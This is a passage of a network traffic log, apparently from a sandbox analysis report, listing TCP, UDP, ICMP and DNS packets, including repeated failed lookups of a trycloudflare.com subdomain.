Oct 26, 2024 13:45:58.953104973 CEST	443	50009	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.953176975 CEST	50009	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.953318119 CEST	50009	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.953334093 CEST	443	50009	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.057687998 CEST	443	50003	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.057717085 CEST	443	50003	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.057734966 CEST	443	50003	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.057836056 CEST	50003	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.057847023 CEST	443	50003	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.058141947 CEST	50003	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.170062065 CEST	443	50006	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.170818090 CEST	50006	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.170836926 CEST	443	50006	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.171318054 CEST	50006	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.171323061 CEST	443	50006	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.176294088 CEST	443	50003	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.176346064 CEST	443	50003	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.176384926 CEST	443	50003	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.176502943 CEST	50003	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.176502943 CEST	50003	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.176764011 CEST	50003	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.176764011 CEST	50003	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.176793098 CEST	443	50003	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.176801920 CEST	443	50003	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.181047916 CEST	50010	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.181103945 CEST	443	50010	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.181190014 CEST	50010	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.181355000 CEST	50010	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.181369066 CEST	443	50010	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.252183914 CEST	443	50007	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.252876997 CEST	50007	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.252902031 CEST	443	50007	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.253386974 CEST	50007	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.253400087 CEST	443	50007	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.301470995 CEST	443	50006	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.301541090 CEST	443	50006	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.301647902 CEST	50006	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.301875114 CEST	50006	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.301897049 CEST	443	50006	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.301908016 CEST	50006	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.301913977 CEST	443	50006	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.305598021 CEST	50011	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.305650949 CEST	443	50011	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.305761099 CEST	50011	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.305917978 CEST	50011	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.305933952 CEST	443	50011	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.382222891 CEST	443	50007	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.382311106 CEST	443	50007	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.382359982 CEST	50007	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.382761955 CEST	50007	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.382776976 CEST	443	50007	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.382788897 CEST	50007	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.382793903 CEST	443	50007	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.386231899 CEST	50012	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.386266947 CEST	443	50012	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.386362076 CEST	50012	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.386516094 CEST	50012	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.386528969 CEST	443	50012	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.677855968 CEST	443	50008	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.678495884 CEST	50008	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.678534031 CEST	443	50008	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.679327011 CEST	50008	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.679333925 CEST	443	50008	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.709357023 CEST	443	50009	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.709918022 CEST	50009	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.709955931 CEST	443	50009	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.711050034 CEST	50009	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.711057901 CEST	443	50009	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.808186054 CEST	443	50008	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.808263063 CEST	443	50008	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.808329105 CEST	50008	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.808593035 CEST	50008	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.808602095 CEST	443	50008	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.808615923 CEST	50008	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.808621883 CEST	443	50008	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.811988115 CEST	50013	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.812030077 CEST	443	50013	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:59.812105894 CEST	50013	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.812261105 CEST	50013	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:59.812277079 CEST	443	50013	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.035001993 CEST	443	50009	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.035074949 CEST	443	50009	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.035155058 CEST	50009	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.035420895 CEST	50009	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.035438061 CEST	443	50009	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.035448074 CEST	50009	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.035454035 CEST	443	50009	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.037679911 CEST	443	50010	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.038165092 CEST	50010	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.038203001 CEST	443	50010	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.039263964 CEST	50010	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.039269924 CEST	443	50010	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.039768934 CEST	50014	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.039794922 CEST	443	50014	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.039882898 CEST	50014	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.040039062 CEST	50014	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.040051937 CEST	443	50014	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.164458036 CEST	443	50011	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.165072918 CEST	50011	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.165097952 CEST	443	50011	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.165610075 CEST	50011	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.165616035 CEST	443	50011	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.170137882 CEST	443	50012	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.170542955 CEST	50012	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.170552969 CEST	443	50012	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.170943022 CEST	50012	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.170948029 CEST	443	50012	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.250293016 CEST	443	50010	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.250369072 CEST	443	50010	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.250461102 CEST	50010	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.250485897 CEST	443	50010	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.250510931 CEST	443	50010	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.250561953 CEST	50010	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.250791073 CEST	50010	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.250802994 CEST	443	50010	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.250813007 CEST	50010	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.250818968 CEST	443	50010	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.295829058 CEST	443	50011	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.295917034 CEST	443	50011	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.295975924 CEST	50011	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.296143055 CEST	50011	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.296165943 CEST	443	50011	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.296176910 CEST	50011	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.296183109 CEST	443	50011	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.302784920 CEST	443	50012	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.302906036 CEST	443	50012	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.302968979 CEST	50012	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.303235054 CEST	50012	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.303246021 CEST	443	50012	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.303261042 CEST	50012	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.303267956 CEST	443	50012	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.780558109 CEST	443	50013	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.781368017 CEST	50013	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.781399012 CEST	443	50013	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.781910896 CEST	50013	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.781915903 CEST	443	50013	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.786828041 CEST	443	50014	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.787358046 CEST	50014	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.787374973 CEST	443	50014	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.787765980 CEST	50014	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.787772894 CEST	443	50014	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.918889999 CEST	443	50013	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.918983936 CEST	443	50013	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.919056892 CEST	50013	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.919332027 CEST	50013	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.919332981 CEST	50013	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.919399023 CEST	443	50013	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.919426918 CEST	443	50013	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.925307035 CEST	443	50014	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.925649881 CEST	443	50014	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.925734043 CEST	50014	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.925787926 CEST	50014	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.925787926 CEST	50014	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:46:00.925812960 CEST	443	50014	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:00.925826073 CEST	443	50014	13.107.246.51	192.168.2.4
Oct 26, 2024 13:46:20.399821043 CEST	50015	443	192.168.2.4	142.250.185.228
Oct 26, 2024 13:46:20.399873018 CEST	443	50015	142.250.185.228	192.168.2.4
Oct 26, 2024 13:46:20.399941921 CEST	50015	443	192.168.2.4	142.250.185.228
Oct 26, 2024 13:46:20.400233984 CEST	50015	443	192.168.2.4	142.250.185.228
Oct 26, 2024 13:46:20.400254965 CEST	443	50015	142.250.185.228	192.168.2.4
Oct 26, 2024 13:46:21.251101017 CEST	443	50015	142.250.185.228	192.168.2.4
Oct 26, 2024 13:46:21.251564026 CEST	50015	443	192.168.2.4	142.250.185.228
Oct 26, 2024 13:46:21.251574993 CEST	443	50015	142.250.185.228	192.168.2.4
Oct 26, 2024 13:46:21.251925945 CEST	443	50015	142.250.185.228	192.168.2.4
Oct 26, 2024 13:46:21.252239943 CEST	50015	443	192.168.2.4	142.250.185.228
Oct 26, 2024 13:46:21.252305984 CEST	443	50015	142.250.185.228	192.168.2.4
Oct 26, 2024 13:46:21.303715944 CEST	50015	443	192.168.2.4	142.250.185.228

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 13:44:16.827619076 CEST	62666	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:16.827801943 CEST	61408	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:16.834436893 CEST	53	58933	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:16.839659929 CEST	53	62666	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:16.839950085 CEST	53	61408	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:16.840804100 CEST	53	56819	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:16.913063049 CEST	53011	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:16.923497915 CEST	53	53011	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:17.064110994 CEST	59671	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:17.064364910 CEST	63578	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:17.075629950 CEST	53	59671	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:17.076427937 CEST	53	63578	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:17.223196030 CEST	51949	53	192.168.2.4	8.8.8.8
Oct 26, 2024 13:44:17.223870039 CEST	58141	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:17.231101990 CEST	53	58141	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:17.231206894 CEST	53	51949	8.8.8.8	192.168.2.4
Oct 26, 2024 13:44:18.148255110 CEST	53	58413	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:18.235425949 CEST	64049	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:18.235842943 CEST	58519	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:18.246313095 CEST	53	58519	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:18.248115063 CEST	53	64049	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:19.506365061 CEST	51427	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:19.518316984 CEST	53	51427	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:20.274902105 CEST	53710	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:20.275074959 CEST	50757	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:20.282094955 CEST	53	53710	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:20.282397032 CEST	53	50757	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:23.268430948 CEST	49600	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:23.268626928 CEST	54903	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:23.277271032 CEST	53	49600	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:23.278337002 CEST	53	54903	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:23.279263973 CEST	53524	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:23.291387081 CEST	53	53524	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:28.903239965 CEST	55988	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:28.903388023 CEST	53960	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:28.914968967 CEST	53	55988	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:28.915200949 CEST	53	53960	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:28.916296959 CEST	63374	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:28.927556992 CEST	53	63374	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:28.942786932 CEST	51442	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:28.943059921 CEST	63911	53	192.168.2.4	8.8.8.8
Oct 26, 2024 13:44:28.950643063 CEST	53	51442	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:28.951967955 CEST	53	63911	8.8.8.8	192.168.2.4
Oct 26, 2024 13:44:29.963002920 CEST	49984	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:29.963393927 CEST	57843	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:29.973948002 CEST	53	49984	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:29.974145889 CEST	53	57843	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:30.002775908 CEST	60811	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:30.003010988 CEST	64502	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:30.011106968 CEST	53	64502	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:30.012984991 CEST	53	60811	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:30.208242893 CEST	59017	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:30.218554020 CEST	53	59017	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:31.378866911 CEST	138	138	192.168.2.4	192.168.2.255
Oct 26, 2024 13:44:35.030848980 CEST	57026	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:35.031102896 CEST	62799	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:35.044805050 CEST	53	62799	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:35.046192884 CEST	53	57026	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:35.050339937 CEST	50364	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:35.065330029 CEST	53	50364	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:35.080287933 CEST	59001	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:35.080425024 CEST	58148	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:35.088548899 CEST	53	59001	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:35.092068911 CEST	53	58148	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:35.174206018 CEST	53	64162	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:38.945364952 CEST	60667	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:44:38.954417944 CEST	53	60667	1.1.1.1	192.168.2.4
Oct 26, 2024 13:44:54.166640043 CEST	53	55916	1.1.1.1	192.168.2.4
Oct 26, 2024 13:45:05.123279095 CEST	56239	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:45:05.123445034 CEST	55884	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:45:05.134485960 CEST	53	56239	1.1.1.1	192.168.2.4
Oct 26, 2024 13:45:05.142852068 CEST	56326	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:45:05.146871090 CEST	53	55884	1.1.1.1	192.168.2.4
Oct 26, 2024 13:45:05.153585911 CEST	53	56326	1.1.1.1	192.168.2.4
Oct 26, 2024 13:45:16.436176062 CEST	53	64006	1.1.1.1	192.168.2.4
Oct 26, 2024 13:45:16.764580965 CEST	53	61573	1.1.1.1	192.168.2.4
Oct 26, 2024 13:45:44.516026974 CEST	53	49585	1.1.1.1	192.168.2.4
Oct 26, 2024 13:46:05.171807051 CEST	53630	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:46:05.171979904 CEST	49650	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:46:05.182152033 CEST	53	49650	1.1.1.1	192.168.2.4
Oct 26, 2024 13:46:05.183509111 CEST	53	53630	1.1.1.1	192.168.2.4
Oct 26, 2024 13:46:05.184228897 CEST	54239	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:46:05.195656061 CEST	53	54239	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 26, 2024 13:45:05.147119045 CEST	192.168.2.4	1.1.1.1	c241	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 26, 2024 13:44:16.827619076 CEST	192.168.2.4	1.1.1.1	0x97a7	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:16.827801943 CEST	192.168.2.4	1.1.1.1	0x7e26	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	65	IN (0x0001)	false
Oct 26, 2024 13:44:16.913063049 CEST	192.168.2.4	1.1.1.1	0xbb98	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:17.064110994 CEST	192.168.2.4	1.1.1.1	0xfc7c	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:17.064364910 CEST	192.168.2.4	1.1.1.1	0x9c31	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	65	IN (0x0001)	false
Oct 26, 2024 13:44:17.223196030 CEST	192.168.2.4	8.8.8.8	0x6d52	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:17.223870039 CEST	192.168.2.4	1.1.1.1	0x45ac	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:18.235425949 CEST	192.168.2.4	1.1.1.1	0x2c65	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:18.235842943 CEST	192.168.2.4	1.1.1.1	0x2102	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	65	IN (0x0001)	false
Oct 26, 2024 13:44:19.506365061 CEST	192.168.2.4	1.1.1.1	0xfd34	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:20.274902105 CEST	192.168.2.4	1.1.1.1	0x9649	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:20.275074959 CEST	192.168.2.4	1.1.1.1	0x2f4a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 26, 2024 13:44:23.268430948 CEST	192.168.2.4	1.1.1.1	0x79fd	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:23.268626928 CEST	192.168.2.4	1.1.1.1	0xb8e6	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	65	IN (0x0001)	false
Oct 26, 2024 13:44:23.279263973 CEST	192.168.2.4	1.1.1.1	0x6b82	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:28.903239965 CEST	192.168.2.4	1.1.1.1	0x71f2	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:28.903388023 CEST	192.168.2.4	1.1.1.1	0xb8be	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	65	IN (0x0001)	false
Oct 26, 2024 13:44:28.916296959 CEST	192.168.2.4	1.1.1.1	0xd374	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:28.942786932 CEST	192.168.2.4	1.1.1.1	0xc78d	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:28.943059921 CEST	192.168.2.4	8.8.8.8	0x102f	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:29.963002920 CEST	192.168.2.4	1.1.1.1	0x5edd	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:29.963393927 CEST	192.168.2.4	1.1.1.1	0x2e20	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	65	IN (0x0001)	false
Oct 26, 2024 13:44:30.002775908 CEST	192.168.2.4	1.1.1.1	0x4757	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:30.003010988 CEST	192.168.2.4	1.1.1.1	0x98a7	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	65	IN (0x0001)	false
Oct 26, 2024 13:44:30.208242893 CEST	192.168.2.4	1.1.1.1	0xd889	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:35.030848980 CEST	192.168.2.4	1.1.1.1	0x1a04	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:35.031102896 CEST	192.168.2.4	1.1.1.1	0x33a8	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	65	IN (0x0001)	false
Oct 26, 2024 13:44:35.050339937 CEST	192.168.2.4	1.1.1.1	0x20fe	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:35.080287933 CEST	192.168.2.4	1.1.1.1	0x548c	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:35.080425024 CEST	192.168.2.4	1.1.1.1	0xf641	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	65	IN (0x0001)	false
Oct 26, 2024 13:44:38.945364952 CEST	192.168.2.4	1.1.1.1	0x82c2	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:45:05.123279095 CEST	192.168.2.4	1.1.1.1	0x7e0f	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:45:05.123445034 CEST	192.168.2.4	1.1.1.1	0xe947	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	65	IN (0x0001)	false
Oct 26, 2024 13:45:05.142852068 CEST	192.168.2.4	1.1.1.1	0x825c	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:05.171807051 CEST	192.168.2.4	1.1.1.1	0x766a	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:05.171979904 CEST	192.168.2.4	1.1.1.1	0x9a69	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	65	IN (0x0001)	false
Oct 26, 2024 13:46:05.184228897 CEST	192.168.2.4	1.1.1.1	0x830b	Standard query (0)	ride-fatal-italic-information.trycloudflare.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 26, 2024 13:44:16.839659929 CEST	1.1.1.1	192.168.2.4	0x97a7	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:16.839950085 CEST	1.1.1.1	192.168.2.4	0x7e26	Name error (3)	ride-fatal-italic-information.trycloudflare.com	none	none	65	IN (0x0001)	false
